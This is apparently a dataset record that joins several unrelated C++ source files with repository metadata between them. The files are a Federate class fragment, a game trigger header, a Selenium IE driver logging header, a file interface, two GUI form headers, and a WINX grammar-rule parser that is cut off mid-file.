} void Federate::setItsFederateIO_Handler(framework::io::FederateIO_Handler* p_FederateIO_Handler) { if(p_FederateIO_Handler != NULL) { p_FederateIO_Handler->_setItsFederate(this); } _setItsFederateIO_Handler(p_FederateIO_Handler); } void Federate::_clearItsFederateIO_Handler() { itsFederateIO_Handler = NULL; } framework::io::PostOffice* Federate::getThePostOffice() const { return thePostOffice; } void Federate::__setThePostOffice(framework::io::PostOffice* p_PostOffice) { thePostOffice = p_PostOffice; } void Federate::_setThePostOffice(framework::io::PostOffice* p_PostOffice) { if(thePostOffice != NULL) { thePostOffice->__setTheFederate(NULL); } __setThePostOffice(p_PostOffice); } void Federate::setThePostOffice(framework::io::PostOffice* p_PostOffice) { if(p_PostOffice != NULL) { p_PostOffice->_setTheFederate(this); } _setThePostOffice(p_PostOffice); } void Federate::_clearThePostOffice() { thePostOffice = NULL; } void Federate::cleanUpRelations() { if(itsFederateIO_Handler != NULL) { framework::Control::Federate* p_Federate = itsFederateIO_Handler->getItsFederate(); if(p_Federate != NULL) { itsFederateIO_Handler->__setItsFederate(NULL); } itsFederateIO_Handler = NULL; } if(thePostOffice != NULL) { framework::Control::Federate* p_Federate = thePostOffice->getTheFederate(); if(p_Federate != NULL) { thePostOffice->__setTheFederate(NULL); } thePostOffice = NULL; } } } } /********************************************************************* File Path : DefaultComponent\DefaultConfig\Federate.cpp *********************************************************************/
[ "thesuperstitions@a5dd5fbb-a553-0410-a858-5d8807c0469a" ]
[ [ [ 1, 192 ] ] ]
19318401ced5e1649ce288d654843d039d4981b7
c95a83e1a741b8c0eb810dd018d91060e5872dd8
/Game/ObjectDLL/ObjectShared/NoPlayerTrigger.h
23e065ffe8fc16a929cde0ba421ab297804dc92e
[]
no_license
rickyharis39/nolf2
ba0b56e2abb076e60d97fc7a2a8ee7be4394266c
0da0603dc961e73ac734ff365bfbfb8abb9b9b04
refs/heads/master
2021-01-01T17:21:00.678517
2011-07-23T12:11:19
2011-07-23T12:11:19
38,495,312
1
0
null
null
null
null
UTF-8
C++
false
false
834
h
// ----------------------------------------------------------------------- // // // MODULE : NoPlayerTrigger.h // // PURPOSE : NoPlayerTrigger - Definition // // CREATED : 4/5/02 // // (c) 2002 Monolith Productions, Inc. All Rights Reserved // // ----------------------------------------------------------------------- // #ifndef __NO_PLAYER_TRIGGER_H__ #define __NO_PLAYER_TRIGGER_H__ // // Includes... // #include "Trigger.h" LINKTO_MODULE( NoPlayerTrigger ) class NoPlayerTrigger : public Trigger { public : // Methods NoPlayerTrigger( ); ~NoPlayerTrigger( ); protected : // Methods virtual uint32 EngineMessageFn(uint32 messageID, void *pData, LTFLOAT fData); virtual LTBOOL Activate(); private: // Methods LTBOOL Update(); }; #endif // __NO_PLAYER_TRIGGER_H__
[ [ [ 1, 42 ] ] ]
58fae959f748533513bc989162c11f06cc2131e6
a84b013cd995870071589cefe0ab060ff3105f35
/webdriver/branches/first_python/jobbie/src/cpp/InternetExplorerDriver/logging.h
22dfff96989083302e68d33e8addc2a63fb507c8
[]
no_license
vdt/selenium
137bcad58b7184690b8785859d77da0cd9f745a0
30e5e122b068aadf31bcd010d00a58afd8075217
refs/heads/master
2020-12-27T21:35:06.461381
2009-08-18T15:56:32
2009-08-18T15:56:32
13,650,409
1
0
null
null
null
null
UTF-8
C++
false
false
3,285
h
#ifndef logging_h #define logging_h #ifdef _WIN32 #pragma warning(push) #pragma warning(disable:4996 4717) #define fileno _fileno #define isatty _isatty #define lseek _lseek #ifdef _ftime #define ftime _ftime #endif #endif #ifdef unix #include <sys/types.h> #include <unistd.h> #else #include <io.h> #endif #include <stdio.h> #include <sys/timeb.h> #include <time.h> #include <sstream> #include <string> template <class _LOGGER> class Logger { public: Logger() : fatal_(false) {} enum LogLevel { logFATAL = 0, logERROR, logWARN, logINFO, logDEBUG }; ~Logger() { os_ << std::endl, _LOGGER::Log(os_.str(), fatal_); if (fatal_) { exit(EXIT_FAILURE); } } static void Level(const std::string& level) { if (Level() = logFATAL, level == "ERROR") { Level() = logERROR; } else if (level == "WARN" ) { Level() = logWARN; } else if (level == "INFO" ) { Level() = logINFO; } else if (level == "DEBUG") { Level() = logDEBUG; } } static LogLevel& Level() { static LogLevel level = logFATAL; // off by default return level; } std::ostringstream& Stream(LogLevel level) { static char severity[] = { 'F', 'E', 'W', 'I', 'D' }; os_ << severity[level] << Time(); if (level == logFATAL) fatal_ = true, os_ << "FATAL "; return os_; } static std::string Time() { struct timeb tb; ftime(&tb); char time[20]; size_t length = strftime(time, sizeof(time), "%H:%M:%S:", localtime(reinterpret_cast<const time_t*>(&tb.time))); sprintf(time + length, "%03u ", tb.millitm); return time; } private: std::ostringstream os_; bool fatal_; }; class LOG : public Logger<LOG> { public: static void File(const std::string& name) { const std::string& file = Name(name); if (file == "stdout") { LOG::File() = stdout; } else if (file == "stderr") { LOG::File() = stderr; } else { LOG::File() = fopen(file.c_str(), "w"); } } static void Limit(off_t size) { LOG::Limit() = size; } private: static std::string& Name(const std::string& name) { static std::string file_name = "stdout"; if (!name.empty()) file_name.assign(name); return file_name; } static FILE*& File() { static FILE* file = stdout; return file; } static off_t& Limit() { static off_t size_limit = 0; return size_limit; } static void Log(const std::string& str, bool fatal) { if (fatal) Limit() = 0; FILE* output = File(); if (output) { fwrite(str.data(), sizeof(char), str.size(), output); fflush(output); if (Limit() && !isatty(fileno(output))) { if (lseek(fileno(output), 0, SEEK_END) > Limit()) { fclose(output), File(""); } } } if (fatal && !isatty(fileno(output))) { fputs(str.c_str(), stderr); } } friend class Logger<LOG>; }; #ifdef _WIN32 #pragma warning(pop) #endif #define LOG(LEVEL) \ if (LOG::log ## LEVEL > LOG::Level()) ; \ else LOG().Stream(LOG::log ## LEVEL) /* << stuff here */ #endif // logging_h
[ "Jiayao.Yu@07704840-8298-11de-bf8c-fd130f914ac9" ]
[ [ [ 1, 147 ] ] ]
4967bb857de8114f6ae613df67bfe21817290266
6e563096253fe45a51956dde69e96c73c5ed3c18
/ZKit/ZKit_IFile.h
1bdeeaa714b1b930d6f1543cc761c6a11429b6f6
[]
no_license
15831944/phoebemail
0931b76a5c52324669f902176c8477e3bd69f9b1
e10140c36153aa00d0251f94bde576c16cab61bd
refs/heads/master
2023-03-16T00:47:40.484758
2010-10-11T02:31:02
2010-10-11T02:31:02
null
0
0
null
null
null
null
GB18030
C++
false
false
679
h
#ifndef _ZKit_IFile_h_ #define _ZKit_IFile_h_ #include "ZKit_Config.h" BEGIN_ZKIT //文件操作接口. by qguo. class IFile { public: virtual ~IFile() {} virtual bool fopen(const std::string&, const std::string&) = 0; virtual void fclose() const = 0; virtual size_t fread(char *, size_t, size_t) const = 0; virtual size_t fwrite(const char *, size_t, size_t) = 0; virtual char *fgets(char *, int) const = 0; virtual void fprintf(const char *format, ...) = 0; virtual off_t size() const = 0; virtual bool eof() const = 0; virtual void reset_read() const = 0; virtual void reset_write() = 0; }; END_ZKIT #endif // _ZKit_IFile_h_
[ "guoqiao@a83c37f4-16cc-5f24-7598-dca3a346d5dd" ]
[ [ [ 1, 32 ] ] ]
626e0f9748ed3e53730142d1acc56d0dac851a9d
252e638cde99ab2aa84922a2e230511f8f0c84be
/toollib/src/BaseRegulationForm.h
34b66021612ec73c3771ae8e6ff677fa18e116cd
[]
no_license
openlab-vn-ua/tour
abbd8be4f3f2fe4d787e9054385dea2f926f2287
d467a300bb31a0e82c54004e26e47f7139bd728d
refs/heads/master
2022-10-02T20:03:43.778821
2011-11-10T12:58:15
2011-11-10T12:58:15
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,546
h
//--------------------------------------------------------------------------- #ifndef BaseRegulationFormH #define BaseRegulationFormH //--------------------------------------------------------------------------- #include <Classes.hpp> #include <Controls.hpp> #include <StdCtrls.hpp> #include <Forms.hpp> #include <ComCtrls.hpp> #include "VStringStorage.h" #include <ADODB.hpp> #include <Db.hpp> enum TourBaseRegulationStringsTypes { TourBaseRegulationPathGenerationStr = 0, TourBaseRegulationPathGenerationCountStr, TourBaseRegulationPathGenerationDirectStr, TourBaseRegulationPathGenerationReversStr, TourBaseRegulationStringsCount }; //--------------------------------------------------------------------------- class TTourBaseRegulationForm : public TForm { __published: // IDE-managed Components TRichEdit *RichEdit; TButton *CancelButton; TVStringStorage *VStringStorage; TADOQuery *GenerationReversePathQuery; TADOQuery *PathCountQuery; TADOQuery *DirectPathCountQuery; TButton *OkButton; void __fastcall OkButtonClick(TObject *Sender); private: // User declarations bool Execute (void); public: // User declarations __fastcall TTourBaseRegulationForm(TComponent* Owner); }; //--------------------------------------------------------------------------- extern PACKAGE TTourBaseRegulationForm *TourBaseRegulationForm; //--------------------------------------------------------------------------- #endif
[ [ [ 1, 43 ] ] ]
e72d82428511723ce98f3d3101dcee868d3be117
5095bbe94f3af8dc3b14a331519cfee887f4c07e
/Shared/Components/Data/TXY_panel.h
a9a282700a7dc4e3b21d783462947f49d01f7e79
[]
no_license
sativa/apsim_development
efc2b584459b43c89e841abf93830db8d523b07a
a90ffef3b4ed8a7d0cce1c169c65364be6e93797
refs/heads/master
2020-12-24T06:53:59.364336
2008-09-17T05:31:07
2008-09-17T05:31:07
64,154,433
0
0
null
null
null
null
UTF-8
C++
false
false
1,015
h
//--------------------------------------------------------------------------- #ifndef TXY_panelH #define TXY_panelH //--------------------------------------------------------------------------- #include <SysUtils.hpp> #include <Controls.hpp> #include <Classes.hpp> #include <Forms.hpp> #include "TAnalysis_panel.h" #include <components\general\TAuto_size_panel.h> #include <ExtCtrls.hpp> // ------------------------------------------------------------------ // Short description: // this class encapsulates an XY chart on a panel. // Notes: // Changes: // DPH 30/7/98 // ------------------------------------------------------------------ class PACKAGE TXY_panel : public TAnalysis_panel { private: protected: virtual void Create_objects (void); void Refresh_chart_objects (void); public: __fastcall TXY_panel(TComponent* Owner); __published: }; //--------------------------------------------------------------------------- #endif
[ "devoilp@8bb03f63-af10-0410-889a-a89e84ef1bc8" ]
[ [ [ 1, 34 ] ] ]
881ab2eabc81149f1f48e408c5bcb5e5e48737b7
12ea67a9bd20cbeed3ed839e036187e3d5437504
/tpl/include/tpl/v1/script_in.h
9852ac0320017150b077074a288a866d5aa5049e
[]
no_license
cnsuhao/winxgui
e0025edec44b9c93e13a6c2884692da3773f9103
348bb48994f56bf55e96e040d561ec25642d0e46
refs/heads/master
2021-05-28T21:33:54.407837
2008-09-13T19:43:38
2008-09-13T19:43:38
null
0
0
null
null
null
null
UTF-8
C++
false
false
24,235
h
/* ------------------------------------------------------------------------- // WINX: a C++ template GUI library - MOST SIMPLE BUT EFFECTIVE // // This file is a part of the WINX Library. // The use and distribution terms for this software are covered by the // Common Public License 1.0 (http://opensource.org/licenses/cpl.php) // which can be found in the file CPL.txt at this distribution. By using // this software in any fashion, you are agreeing to be bound by the terms // of this license. You must not remove this notice, or any other, from // this software. // // Module: tpl/v1/script_in.h // Creator: xushiwei // Email: [email protected] // Date: 4/19/2003 11:50:19 PM // // $Id: script_in.h,v 1.2 2006/12/02 07:57:49 xushiwei Exp $ // -----------------------------------------------------------------------*/ #ifndef __TPL_V1_SCRIPT_IN_H__ #define __TPL_V1_SCRIPT_IN_H__ // ------------------------------------------------------------------------- #ifndef __TPL_V1_SCRIPT_PARSER_H__ #include "script_parser.h" #endif // ------------------------------------------------------------------------- #define E_RULE_REDECLARE E_FAIL #ifndef STATIC_SCRIPT_API #define STATIC_SCRIPT_API static HRESULT __stdcall #define STATIC_SCRIPT_API_(type) static type __stdcall #endif // ------------------------------------------------------------------------- template < class _Archive, class _String, class _Rule = KRule<_String>, class _Variant = KVariant<_String> > class KScriptInParser : public KScriptParser<_Archive, _String, _Rule, _Variant> { public: typedef KScriptParser<_Archive, _String, _Rule, _Variant> _Base; typedef KScriptInParser Parser; typedef _Archive Archive; typedef typename _Base::char_type char_type; typedef typename _Base::pos_type pos_type; typedef typename _Base::Node Node; typedef typename _Base::NodeList NodeList; typedef typename _Base::RecycleBin VariantRecycleBin; typedef typename _Base::Rule Rule; typedef typename _Base::RuleList RuleList; typedef typename _Base::MatchRule MatchRule; typedef typename _Base::RuleMap RuleMap; typedef typename _Base::BuiltinRuleMap BuiltinRuleMap; typedef typename _Rule::RecycleBin RuleRecycleBin; public: KScriptInParser( Archive& srcA, RuleMap& rulesA, BuiltinRuleMap& builtin_rulesA, VariantRecycleBin& recycleA ) : _Base(srcA, rulesA, builtin_rulesA, recycleA) { } public: static const char_type cint[]; static const char_type csymbol[]; static const char_type csymbol_or_all[]; static const char_type matchrule[]; static const char_type cstring[]; static const char_type blank[]; static const char_type quomark[]; static const char_type eol[]; static const char_type ceol[]; static const char_type eof[]; static const char_type include[]; static const char_type incPath[]; static const char_type szor[]; static const char_type slashslash[]; static const char_type eq[]; static const char_type dollar[]; static const char_type brLeft[]; static const char_type brBigLeftOrNot[]; static const char_type brRight[]; static const char_type brMidLeft[]; static const char_type brMidRight[]; static const char_type brBigLeft[]; static const char_type brBigRight[]; static const char_type brCloseer[]; static const char_type comma[]; static const char_type doc[]; static const char_type _doc[]; static const char_type rule[]; static const char_type ruleAnd[]; static const char_type ruleOr[]; static const char_type ruleRepeat[]; static const char_type ruleRepeatOrNot[]; static const char_type ruleHasOrNot[]; static const char_type ruleCloseer[]; static const char_type comment[]; static const char_type aRule[]; static const char_type aRuleName[]; static const char_type ruleName[]; static const char_type ruleFactor[]; static const char_type _ruleFactor[]; static const char_type matchRule[]; static const char_type matchString[]; static const char_type varName[]; public: STATIC_SCRIPT_API_(void) GetBuiltinRules(BuiltinRuleMap& default_rules) { default_rules[blank] = BuiltinRule(match_blank, assign_str); default_rules[quomark] = BuiltinRule(match_quomark, assign_str); default_rules[cint] = BuiltinRule(match_cint, assign_cint); default_rules[cstring] = BuiltinRule(match_cstring, assign_cstring); default_rules[csymbol] = BuiltinRule(match_csymbol, assign_str); default_rules[csymbol_or_all] = BuiltinRule(match_csymbol_or_all, assign_str); default_rules[matchrule] = BuiltinRule(match_matchrule, assign_str); default_rules[eol] = BuiltinRule(match_eol, assign_eol); default_rules[eof] = BuiltinRule(match_eof, assign_str); default_rules[ceol] = BuiltinRule(match_ceol, assign_str); } public: STATIC_SCRIPT_API GetBasicParserRules(RuleMap& rules, RuleRecycleBin& recycle) { Rule* _ARule; RuleList* _RuleList; RuleList* _RuleAndList; MatchRule* _MatchRule; Rule _slashslash( match_string_const, recycle.NewString(slashslash) ); Rule _include( match_string_const, recycle.NewString(include) ); Rule _or( match_string_const, recycle.NewString(szor) ); Rule _eq( match_string_const, recycle.NewString(eq) ); Rule _comma( match_string_const, recycle.NewString(comma) ); Rule _dollar( match_string_const, recycle.NewString(dollar) ); Rule _brLeft( match_string_const, recycle.NewString(brLeft) ); Rule _brRight( match_string_const, recycle.NewString(brRight) ); Rule _brMidLeft( match_string_const, recycle.NewString(brMidLeft) ); Rule _brMidRight( match_string_const, recycle.NewString(brMidRight) ); Rule _brBigLeft( match_string_const, recycle.NewString(brBigLeft) ); Rule _brBigLeftOrNot( match_string_const, recycle.NewString(brBigLeftOrNot) ); Rule _brBigRight( match_string_const, recycle.NewString(brBigRight) ); Rule _brCloseer( match_string_const, recycle.NewString(brCloseer) ); _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = rule; Rule _rule( match_mrule, _MatchRule ); _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = ruleAnd; Rule _ruleAnd( match_mrule, _MatchRule ); _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = ruleOr; Rule _ruleOr( match_mrule, _MatchRule ); // doc = { $(ARule) | "//" $(_eol) | "#include" $(_cstring=IncPath) }; { _RuleList = recycle.NewRuleList(); // $(ARule) { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = aRule; _RuleList->push_back( Rule(match_mrule, _MatchRule) ); } // "//" $(_eol) { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = eol; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _slashslash ); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } // "#include" $(_cstring=IncPath) { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = cstring; _MatchRule->var_name = incPath; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _include ); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } _ARule = recycle.NewOrRule(_RuleList); rules[doc] = Rule(match_rule_repeat, _ARule); } // ARule = $(_csymbol = ARuleName) "=" $(Rule) ";"; { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = csymbol; _MatchRule->var_name = aRuleName; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleAndList->push_back( _eq ); _RuleAndList->push_back( _rule ); _RuleAndList->push_back( _comma ); rules[aRule] = Rule(match_rule_and, _RuleAndList); } // RuleFactor = // $(_cstring = MatchString) | // "$" "(" $(MatchRule) ")" | // "{" $(RuleRepeat) "}" | // "*{" $(RuleRepeatOrNot) "}" | // "(" $(Rule) ")" | // "[" $(RuleHasOrNot) "]" // "*[" $(RuleCloseer) "]" // ; { _RuleList = recycle.NewRuleList(); // $(_cstring = MatchString) { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = cstring; _MatchRule->var_name = matchString; _RuleList->push_back( Rule(match_mrule, _MatchRule) ); } // "$" "(" $(MatchRule) ")" { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = matchRule; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _dollar ); _RuleAndList->push_back( _brLeft ); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleAndList->push_back( _brRight ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } // "{" $(RuleRepeat) "}" { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = ruleRepeat; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _brBigLeft ); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleAndList->push_back( _brBigRight ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } // "*{" $(RuleRepeatOrNot) "}" { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = ruleRepeatOrNot; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _brBigLeftOrNot ); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleAndList->push_back( _brBigRight ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } // "(" $(Rule) ")" { _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _brLeft ); _RuleAndList->push_back( _rule ); _RuleAndList->push_back( _brRight ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } // "[" $(RuleHasOrNot) "]" { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = ruleHasOrNot; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _brMidLeft ); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleAndList->push_back( _brMidRight ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } // "*[" $(RuleCloseer) "]" { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = ruleCloseer; _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _brCloseer ); _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); _RuleAndList->push_back( _brMidRight ); _RuleList->push_back( Rule(match_rule_and, _RuleAndList) ); } rules[ruleFactor] = Rule(match_rule_or, _RuleList); } // MatchRule = // $(_matchrule = RuleName) [ "=" $(_csymbol = VarName) ]; { _RuleAndList = recycle.NewRuleList(); // $(_matchrule = RuleName) { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = matchrule; _MatchRule->var_name = ruleName; _RuleAndList->push_back( Rule(match_mrule, _MatchRule) ); } // [ "=" $(_csymbol = VarName) ] { _RuleList = recycle.NewRuleList(); _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = csymbol; _MatchRule->var_name = varName; _RuleList->push_back( _eq ); _RuleList->push_back( Rule(match_mrule, _MatchRule) ); _ARule = recycle.NewAndRule(_RuleList); _RuleAndList->push_back( Rule(match_has_or_not, _ARule) ); } rules[matchRule] = Rule(match_rule_and, _RuleAndList); } // RuleRepeat = $(Rule); // RuleRepeatOrNot = $(Rule); // RuleHasOrNot = $(Rule); { rules[ruleRepeat] = _rule; rules[ruleRepeatOrNot] = _rule; rules[ruleHasOrNot] = _rule; rules[ruleCloseer] = _rule; } // RuleAnd = { $(_RuleFactor) }; { _MatchRule = recycle.NewMRule(); _MatchRule->rule_name = _ruleFactor; _ARule = recycle.NewRule(_MatchRule); rules[ruleAnd] = Rule(match_rule_repeat, _ARule); } // RuleOr = { $(RuleAnd) "|" } $(RuleAnd); { _RuleList = recycle.NewRuleList(); // RuleOr = { $(RuleAnd) "|" } { _RuleAndList = recycle.NewRuleList(); _RuleAndList->push_back( _ruleAnd ); _RuleAndList->push_back( _or ); _ARule = recycle.NewAndRule(_RuleAndList); _RuleList->push_back( Rule(match_rule_repeat, _ARule) ); } // $(RuleAnd) { _RuleList->push_back( _ruleAnd ); } rules[ruleOr] = Rule(match_rule_and, _RuleList); } // Rule = $(RuleOr) | $(RuleAnd); { _RuleList = recycle.NewRuleList(); _RuleList->push_back( _ruleOr ); _RuleList->push_back( _ruleAnd ); rules[rule] = Rule(match_rule_or, _RuleList); } return S_OK; } public: struct InputScript { public: MatchRule mrule; RuleMap script_in_rules; BuiltinRuleMap builtin_rules; RuleRecycleBin recycleB; const char_type* base_path; public: InputScript(const char_type* base = NULL) : base_path(base) { } // load input script! STDMETHODIMP LoadScript(IN const char_type* incPath) { ASSERT(base_path); if (base_path) { char_type script_in_file[_MAX_PATH]; PathCombine(script_in_file, base_path, incPath); Archive script_in_ar(script_in_file); if (!script_in_ar) { ERRMSG("---> Open script file: %s failed.\n", script_in_file); return E_ACCESSDENIED; } return LoadScript(script_in_ar); } return E_UNEXPECTED; } // load input script! STDMETHODIMP LoadScript(IN Archive& script_in_ar) { HRESULT hr; GetBuiltinRules(builtin_rules); mrule.rule_name = _doc; RuleMap basic_rules; GetBasicParserRules(basic_rules, recycleB); //PrintRules(basic_rules); VariantRecycleBin recycleA; NodeList script_in_vars; Parser script_in_parser(script_in_ar, basic_rules, builtin_rules, recycleA); { hr = script_in_parser.Parse(mrule, script_in_vars); CHECK(hr); hr = Parser::GetScriptInRules(this, script_in_vars, script_in_rules, recycleB); CHECK(hr); //PrintVariantList(script_in_vars); //PrintRules(script_in_rules); } EXIT: if (FAILED(hr)) { ERRMSG("---> Invalid input script!\n"); script_in_parser.ReportError(script_in_ar); } return hr; } // load source file! STDMETHODIMP LoadSource( IN NodeList& vars, IN Archive& ar, IN VariantRecycleBin& recycle) { Parser source_parser(ar, script_in_rules, builtin_rules, recycle); HRESULT hr = source_parser.Parse(mrule, vars); if (FAILED(hr)) { ERRMSG("---> Invalid source file!\n"); source_parser.ReportError(ar); } return hr; } }; friend struct InputScript; STATIC_SCRIPT_API Load( NodeList& vars, Archive& ar, Archive& script_in_ar, VariantRecycleBin& recycle) { InputScript is; HRESULT hr = is.LoadScript(script_in_ar); if (SUCCEEDED(hr)) { hr = is.LoadSource(vars, ar, recycle); //PrintVariantList(vars); } return hr; } protected: static STDMETHODIMP_(BOOL) _IsA(const Node& node, const char_type* tag) { for (const char_type* t = node.name; *t == *tag; ++t, ++tag) { if (*t == '\0') return TRUE; } return FALSE; } STATIC_SCRIPT_API _GetRuleFactor(const Node& node, Rule& theRule, RuleRecycleBin& recycle) { // RuleFactor = // $(_cstring = MatchString) | // "$" "(" $(MatchRule) ")" | // "{" $(RuleRepeat) "}" | // "*{" $(RuleRepeatOrNot) "}" | // "(" $(Rule) ")" | // "[" $(RuleHasOrNot) "]" // ; if (_IsA(node, matchString)) { ASSERT(node.value.vt == Variant::vtAtom); theRule.op = match_string_const; theRule.string_const = recycle.NewString(node.value.atomVal); return S_OK; } else if (_IsA(node, matchRule)) { // MatchRule = // $(_csymbol_or_all = RuleName) [ "=" $(_csymbol = VarName) ]; ASSERT(node.value.vt == Variant::vtElement); const NodeList* lst = node.value.lstVal; int size = lst->size(); ASSERT(size == 1 || size == 2); typename Variant::Atom atomVal = (lst->front()).value.atomVal; theRule.mrule = recycle.NewMRule(); if (*atomVal == '*') theRule.op = match_all; else { theRule.op = match_mrule; theRule.mrule->rule_name = atomVal; } if (size == 2) theRule.mrule->var_name = (lst->back()).value.atomVal; return S_OK; } else if (_IsA(node, rule)) { ASSERT(node.value.vt == Variant::vtElement); return _GetRule(*node.value.lstVal, theRule, recycle); } else { // RuleRepeat = $(Rule); // RuleRepeatOrNot = $(Rule); // RuleHasOrNot = $(Rule); // RuleCloseer = $(Rule); ASSERT( _IsA(node, ruleRepeat) || _IsA(node, ruleHasOrNot) || _IsA(node, ruleRepeatOrNot) || _IsA(node, ruleCloseer) ); ASSERT(node.value.vt == Variant::vtElement); theRule.op = _IsA(node, ruleRepeat) ? match_rule_repeat : (_IsA(node, ruleRepeatOrNot) ? match_rule_repeat_or_not : (_IsA(node, ruleHasOrNot) ? match_has_or_not : match_rule_closeer)); theRule.rule = recycle.NewRule(); const NodeList* lst = node.value.lstVal; ASSERT(lst->size() == 1); Node node = lst->front(); ASSERT(_IsA(node, rule) && node.value.vt == Variant::vtElement); return _GetRule(*node.value.lstVal, *theRule.rule, recycle); } } STATIC_SCRIPT_API _GetRuleAnd(const NodeList* lst, Rule& theRule, RuleRecycleBin& recycle) { // RuleAnd = { $(_RuleFactor) }; if (lst->size() > 1) { RuleList* rules = recycle.NewRuleList(); typename NodeList::const_iterator it; for (it = lst->begin(); it != lst->end(); ++it) { Rule ruleA; HRESULT hr = _GetRuleFactor(*it, ruleA, recycle); if (FAILED(hr)) return hr; rules->push_back(ruleA); } theRule.op = match_rule_and; theRule.and_rules = rules; return S_OK; } else { return _GetRuleFactor(lst->front(), theRule, recycle); } } STATIC_SCRIPT_API _GetRule(const NodeList& vars, Rule& theRule, RuleRecycleBin& recycle) { // Rule = // $(RuleOr) | $(RuleAnd); ASSERT(vars.size() == 1); Node node = *vars.begin(); ASSERT(node.value.vt == Variant::vtElement); HRESULT hr; const NodeList* lst = node.value.lstVal; if ( _IsA(node, ruleAnd) ) { return _GetRuleAnd(lst, theRule, recycle); } else { // RuleOr = // { $(RuleAnd) "|" } $(RuleAnd); ASSERT(_IsA(node, ruleOr)); ASSERT(lst->size() > 1); RuleList* rules = recycle.NewRuleList(); typename NodeList::const_iterator it; for (it = lst->begin(); it != lst->end(); ++it) { node = *it; ASSERT(_IsA(node, ruleAnd) && node.value.vt == Variant::vtElement); Rule ruleA; hr = _GetRuleAnd(node.value.lstVal, ruleA, recycle); if (FAILED(hr)) return hr; rules->push_back(ruleA); } theRule.op = match_rule_or; theRule.and_rules = rules; return S_OK; } } STATIC_SCRIPT_API GetScriptInRules( InputScript* pIS, const NodeList& vars, RuleMap& rules, RuleRecycleBin& recycle) { HRESULT hr = S_OK; Node node; typename NodeList::const_iterator it; for (it = vars.begin(); it != vars.end(); ++it) { node = *it; if (_IsA(node, aRule)) { ASSERT(node.value.vt == Variant::vtElement); // ARule = $(_csymbol = ARuleName) "=" $(Rule) ";"; const NodeList* lst = node.value.lstVal; ASSERT(lst->size() == 2); node = lst->front(); ASSERT(_IsA(node, aRuleName) && node.value.vt == Variant::vtAtom); Rule* theRule; const char_type* szRuleName = node.value.atomVal; if (*szRuleName == '_') { ++szRuleName; theRule = &rules[szRuleName]; theRule->f_no_subtag = 1; } else { theRule = &rules[szRuleName]; } if (theRule->op != match_none) { ERRMSG("rule %s redeclare!\n", szRuleName); ASSERT(0); return E_RULE_REDECLARE; } node = lst->back(); ASSERT(_IsA(node, rule) && node.value.vt == Variant::vtElement); hr = _GetRule(*node.value.lstVal, *theRule, recycle); if (FAILED(hr)) break; } else { ASSERT(_IsA(node, incPath)); ASSERT(node.value.vt == Variant::vtAtom); pIS->LoadScript(node.value.atomVal); } } return hr; } }; // ------------------------------------------------------------------------- #define SCRIPT_CONST_STRING \ template <class _Archive, class _String, class _Rule, class _Variant> \ const typename KScriptInParser<_Archive, _String, _Rule, _Variant>::char_type \ KScriptInParser<_Archive, _String, _Rule, _Variant>:: SCRIPT_CONST_STRING cint[] = { '_', 'c', 'i', 'n', 't', '\0' }; SCRIPT_CONST_STRING csymbol[] = { '_', 'c', 's', 'y', 'm', 'b', 'o', 'l', '\0' }; SCRIPT_CONST_STRING csymbol_or_all[] = { '_', 'c', 's', 'y', 'm', 'b', 'o', 'l', '_', 'o', 'r', '_', 'a', 'l', 'l', '\0' }; SCRIPT_CONST_STRING matchrule[] = { '_', 'm', 'a', 't', 'c', 'h', 'r', 'u', 'l', 'e', '\0' }; SCRIPT_CONST_STRING cstring[] = { '_', 'c', 's', 't', 'r', 'i', 'n', 'g', '\0' }; SCRIPT_CONST_STRING blank[] = { '_', 'b', 'l', 'a', 'n', 'k', '\0' }; SCRIPT_CONST_STRING quomark[] = { '_', 'q', 'u', 'o', 'm', 'a', 'r', 'k', '\0' }; SCRIPT_CONST_STRING eof[] = { '_', 'e', 'o', 'f', '\0' }; SCRIPT_CONST_STRING eol[] = { '_', 'e', 'o', 'l', '\0' }; SCRIPT_CONST_STRING ceol[] = { '_', 'c', 'e', 'o', 'l', '\0' }; SCRIPT_CONST_STRING slashslash[] = { '/', '/', '\0' }; SCRIPT_CONST_STRING szor[] = { '|', '\0' }; SCRIPT_CONST_STRING eq[] = { '=', '\0' }; SCRIPT_CONST_STRING comma[] = { ';', '\0' }; SCRIPT_CONST_STRING dollar[] = { '$', '\0' }; SCRIPT_CONST_STRING brLeft[] = { '(', 